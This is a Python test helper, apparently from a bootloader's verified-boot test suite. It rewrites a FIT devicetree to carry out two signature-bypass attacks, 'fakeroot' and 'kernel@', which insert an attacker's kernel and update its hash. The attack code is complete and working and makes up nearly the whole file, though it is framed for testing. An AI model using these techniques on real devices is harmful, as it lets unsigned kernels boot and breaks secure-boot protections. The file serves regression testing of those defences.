1# SPDX-License-Identifier: GPL-2.0 2# Copyright (c) 2020, Intel Corporation 3 4"""Modifies a devicetree to add a fake root node, for testing purposes""" 5 6import hashlib 7import struct 8import sys 9 10FDT_PROP = 0x3 11FDT_BEGIN_NODE = 0x1 12FDT_END_NODE = 0x2 13FDT_END = 0x9 14 15FAKE_ROOT_ATTACK = 0 16KERNEL_AT = 1 17 18MAGIC = 0xd00dfeed 19 20EVIL_KERNEL_NAME = b'evil_kernel' 21FAKE_ROOT_NAME = b'f@keroot' 22 23 24def getstr(dt_strings, off): 25 """Get a string from the devicetree string table 26 27 Args: 28 dt_strings (bytes): Devicetree strings section 29 off (int): Offset of string to read 30 31 Returns: 32 str: String read from the table 33 """ 34 output = '' 35 while dt_strings[off]: 36 output += chr(dt_strings[off]) 37 off += 1 38 39 return output 40 41 42def align(offset): 43 """Align an offset to a multiple of 4 44 45 Args: 46 offset (int): Offset to align 47 48 Returns: 49 int: Resulting aligned offset (rounds up to nearest multiple) 50 """ 51 return (offset + 3) & ~3 52 53 54def determine_offset(dt_struct, dt_strings, searched_node_name): 55 """Determines the offset of an element, either a node or a property 56 57 Args: 58 dt_struct (bytes): Devicetree struct section 59 dt_strings (bytes): Devicetree strings section 60 searched_node_name (str): element path, ex: /images/kernel@1/data 61 62 Returns: 63 tuple: (node start offset, node end offset) 64 if element is not found, returns (None, None) 65 """ 66 offset = 0 67 depth = -1 68 69 path = '/' 70 71 object_start_offset = None 72 object_end_offset = None 73 object_depth = None 74 75 while offset < len(dt_struct): 76 (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4]) 77 78 if tag == FDT_BEGIN_NODE: 79 depth += 1 80 81 begin_node_offset = offset 82 offset += 4 83 84 node_name = getstr(dt_struct, offset) 85 offset += len(node_name) + 1 86 offset = align(offset) 87 88 if path[-1] != '/': 89 path += '/' 90 91 path += str(node_name) 92 93 if path == searched_node_name: 94 object_start_offset = begin_node_offset 95 object_depth = depth 96 97 elif tag == FDT_PROP: 98 begin_prop_offset = offset 99 100 offset += 4 101 len_tag, nameoff = struct.unpack('>II', 102 dt_struct[offset:offset + 8]) 103 offset += 8 104 prop_name = getstr(dt_strings, nameoff) 105 106 len_tag = align(len_tag) 107 108 offset += len_tag 109 110 node_path = path + '/' + str(prop_name) 111 112 if node_path == searched_node_name: 113 object_start_offset = begin_prop_offset 114 115 elif tag == FDT_END_NODE: 116 offset += 4 117 118 path = path[:path.rfind('/')] 119 if not path: 120 path = '/' 121 122 if depth == object_depth: 123 object_end_offset = offset 124 break 125 depth -= 1 126 elif tag == FDT_END: 127 break 128 129 else: 130 print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset)) 131 break 132 133 return object_start_offset, object_end_offset 134 135 136def modify_node_name(dt_struct, node_offset, replcd_name): 137 """Change the name of a node 138 139 Args: 140 dt_struct (bytes): Devicetree struct section 141 node_offset (int): Offset of node 142 replcd_name (str): New name for node 143 144 Returns: 145 bytes: New dt_struct contents 146 """ 147 148 # skip 4 bytes for the FDT_BEGIN_NODE 149 node_offset += 4 150 151 node_name = getstr(dt_struct, node_offset) 152 node_name_len = len(node_name) + 1 153 154 node_name_len = align(node_name_len) 155 156 replcd_name += b'\0' 157 158 # align on 4 bytes 159 while len(replcd_name) % 4: 160 replcd_name += b'\0' 161 162 dt_struct = (dt_struct[:node_offset] + replcd_name + 163 dt_struct[node_offset + node_name_len:]) 164 165 return dt_struct 166 167 168def modify_prop_content(dt_struct, prop_offset, content): 169 """Overwrite the value of a property 170 171 Args: 172 dt_struct (bytes): Devicetree struct section 173 prop_offset (int): Offset of property (FDT_PROP tag) 174 content (bytes): New content for the property 175 176 Returns: 177 bytes: New dt_struct contents 178 """ 179 # skip FDT_PROP 180 prop_offset += 4 181 (len_tag, nameoff) = struct.unpack('>II', 182 dt_struct[prop_offset:prop_offset + 8]) 183 184 # compute padded original node length 185 original_node_len = len_tag + 8 # content length + prop meta data len 186 187 original_node_len = align(original_node_len) 188 189 added_data = struct.pack('>II', len(content), nameoff) 190 added_data += content 191 while len(added_data) % 4: 192 added_data += b'\0' 193 194 dt_struct = (dt_struct[:prop_offset] + added_data + 195 dt_struct[prop_offset + original_node_len:]) 196 197 return dt_struct 198 199 200def change_property_value(dt_struct, dt_strings, prop_path, prop_value, 201 required=True): 202 """Change a given property value 203 204 Args: 205 dt_struct (bytes): Devicetree struct section 206 dt_strings (bytes): Devicetree strings section 207 prop_path (str): full path of the target property 208 prop_value (bytes): new property name 209 required (bool): raise an exception if property not found 210 211 Returns: 212 bytes: New dt_struct contents 213 214 Raises: 215 ValueError: if the property is not found 216 """ 217 (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path) 218 if rt_node_start is None: 219 if not required: 220 return dt_struct 221 raise ValueError('Fatal error, unable to find prop %s' % prop_path) 222 223 dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value) 224 225 return dt_struct 226 227def change_node_name(dt_struct, dt_strings, node_path, node_name): 228 """Change a given node name 229 230 Args: 231 dt_struct (bytes): Devicetree struct section 232 dt_strings (bytes): Devicetree strings section 233 node_path (str): full path of the target node 234 node_name (str): new node name, just node name not full path 235 236 Returns: 237 bytes: New dt_struct contents 238 239 Raises: 240 ValueError: if the node is not found 241 """ 242 (rt_node_start, rt_node_end) = ( 243 determine_offset(dt_struct, dt_strings, node_path)) 244 if rt_node_start is None or rt_node_end is None: 245 raise ValueError('Fatal error, unable to find root node') 246 247 dt_struct = modify_node_name(dt_struct, rt_node_start, node_name) 248 249 return dt_struct 250 251def get_prop_value(dt_struct, dt_strings, prop_path): 252 """Get the content of a property based on its path 253 254 Args: 255 dt_struct (bytes): Devicetree struct section 256 dt_strings (bytes): Devicetree strings section 257 prop_path (str): full path of the target property 258 259 Returns: 260 bytes: Property value 261 262 Raises: 263 ValueError: if the property is not found 264 """ 265 (offset, _) = determine_offset(dt_struct, dt_strings, prop_path) 266 if offset is None: 267 raise ValueError('Fatal error, unable to find prop') 268 269 offset += 4 270 (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4]) 271 272 offset += 8 273 tag_data = dt_struct[offset:offset + len_tag] 274 275 return tag_data 276 277 278def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash): 279 """Conduct the kernel@ attack 280 281 It fetches from /configurations/default the name of the kernel being loaded. 282 Then, if the kernel name does not contain any @sign, duplicates the kernel 283 in /images node and appends '@evil' to its name. 284 It inserts a new kernel content and updates its images digest. 285 286 Inputs: 287 - FIT dt_struct 288 - FIT dt_strings 289 - kernel content blob 290 - kernel hash blob 291 292 Important note: it assumes the U-Boot loading method is 'kernel' and the 293 loaded kernel hash's subnode name is 'hash-1' 294 """ 295 296 # retrieve the default configuration name 297 default_conf_name = get_prop_value( 298 dt_struct, dt_strings, '/configurations/default') 299 default_conf_name = str(default_conf_name[:-1], 'utf-8') 300 301 conf_path = '/configurations/' + default_conf_name 302 303 # fetch the loaded kernel name from the default configuration 304 loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel') 305 306 loaded_kernel = str(loaded_kernel[:-1], 'utf-8') 307 308 if loaded_kernel.find('@') != -1: 309 print('kernel@ attack does not work on nodes already containing an @ sign!') 310 sys.exit() 311 312 # determine boundaries of the loaded kernel 313 (krn_node_start, krn_node_end) = (determine_offset( 314 dt_struct, dt_strings, '/images/' + loaded_kernel)) 315 if krn_node_start is None and krn_node_end is None: 316 print('Fatal error, unable to find root node') 317 sys.exit() 318 319 # copy the loaded kernel 320 loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end] 321 322 # insert the copy inside the tree 323 dt_struct = dt_struct[:krn_node_start] + \ 324 loaded_kernel_copy + dt_struct[krn_node_start:] 325 326 evil_kernel_name = loaded_kernel+'@evil' 327 328 # change the inserted kernel name 329 dt_struct = change_node_name( 330 dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8')) 331 332 # change the content of the kernel being loaded 333 dt_struct = change_property_value( 334 dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content) 335 336 # change the content of the kernel being loaded 337 dt_struct = change_property_value( 338 dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash) 339 340 return dt_struct 341 342 343def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest): 344 """Conduct the fakenode attack 345 346 It duplicates the original root node at the beginning of the tree. 347 Then it modifies within this duplicated tree: 348 - The loaded kernel name 349 - The loaded kernel data 350 351 Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel 352 hash's subnode name is hash@1 353 """ 354 355 # retrieve the default configuration name 356 default_conf_name = get_prop_value( 357 dt_struct, dt_strings, '/configurations/default') 358 default_conf_name = str(default_conf_name[:-1], 'utf-8') 359 360 conf_path = '/configurations/'+default_conf_name 361 362 # fetch the loaded kernel name from the default configuration 363 loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel') 364 365 loaded_kernel = str(loaded_kernel[:-1], 'utf-8') 366 367 # determine root node start and end: 368 (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/')) 369 if (rt_node_start is None) or (rt_node_end is None): 370 print('Fatal error, unable to find root node') 371 sys.exit() 372 373 # duplicate the whole tree 374 duplicated_node = dt_struct[rt_node_start:rt_node_end] 375 376 # dchange root name (empty name) to fake root name 377 new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME) 378 379 dt_struct = new_dup + dt_struct 380 381 # change the value of /<fake_root_name>/configs/<default_config_name>/kernel 382 # so our modified kernel will be loaded 383 base = '/' + str(FAKE_ROOT_NAME, 'utf-8') 384 value_path = base + conf_path+'/kernel' 385 dt_struct = change_property_value(dt_struct, dt_strings, value_path, 386 EVIL_KERNEL_NAME + b'\0') 387 388 # change the node of the /<fake_root_name>/images/<original_kernel_name> 389 images_path = base + '/images/' 390 node_path = images_path + loaded_kernel 391 dt_struct = change_node_name(dt_struct, dt_strings, node_path, 392 EVIL_KERNEL_NAME) 393 394 # change the content of the kernel being loaded 395 data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data' 396 dt_struct = change_property_value(dt_struct, dt_strings, data_path, 397 kernel_content, required=False) 398 399 # update the digest value 400 hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value' 401 dt_struct = change_property_value(dt_struct, dt_strings, hash_path, 402 kernel_digest) 403 404 return dt_struct 405 406def add_evil_node(in_fname, out_fname, kernel_fname, attack): 407 """Add an evil node to the devicetree 408 409 Args: 410 in_fname (str): Filename of input devicetree 411 out_fname (str): Filename to write modified devicetree to 412 kernel_fname (str): Filename of kernel data to add to evil node 413 attack (str): Attack type ('fakeroot' or 'kernel@') 414 415 Raises: 416 ValueError: Unknown attack name 417 """ 418 if attack == 'fakeroot': 419 attack = FAKE_ROOT_ATTACK 420 elif attack == 'kernel@': 421 attack = KERNEL_AT 422 else: 423 raise ValueError('Unknown attack name!') 424 425 with open(in_fname, 'rb') as fin: 426 input_data = fin.read() 427 428 hdr = input_data[0:0x28] 429 430 offset = 0 431 magic = struct.unpack('>I', hdr[offset:offset + 4])[0] 432 if magic != MAGIC: 433 raise ValueError('Wrong magic!') 434 435 offset += 4 436 (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version, 437 last_comp_version, boot_cpuid_phys, size_dt_strings, 438 size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36]) 439 440 rsv_map = input_data[off_mem_rsvmap:off_dt_struct] 441 dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct] 442 dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings] 443 444 with open(kernel_fname, 'rb') as kernel_file: 445 kernel_content = kernel_file.read() 446 447 # computing inserted kernel hash 448 val = hashlib.sha1() 449 val.update(kernel_content) 450 hash_digest = val.digest() 451 452 if attack == FAKE_ROOT_ATTACK: 453 dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content, 454 hash_digest) 455 elif attack == KERNEL_AT: 456 dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content, 457 hash_digest) 458 459 # now rebuild the new file 460 size_dt_strings = len(dt_strings) 461 size_dt_struct = len(dt_struct) 462 totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings 463 off_mem_rsvmap = 0x28 464 off_dt_struct = off_mem_rsvmap + len(rsv_map) 465 off_dt_strings = off_dt_struct + len(dt_struct) 466 467 header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct, 468 off_dt_strings, off_mem_rsvmap, version, 469 last_comp_version, boot_cpuid_phys, size_dt_strings, 470 size_dt_struct) 471 472 with open(out_fname, 'wb') as output_file: 473 output_file.write(header) 474 output_file.write(rsv_map) 475 output_file.write(dt_struct) 476 output_file.write(dt_strings) 477 478if __name__ == '__main__': 479 if len(sys.argv) != 5: 480 print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' % 481 sys.argv[0]) 482 print('valid attack names: [fakeroot, kernel@]') 483 sys.exit(1) 484 485 in_fname, out_fname, kernel_fname, attack = sys.argv[1:] 486 add_evil_node(in_fname, out_fname, kernel_fname, attack) 487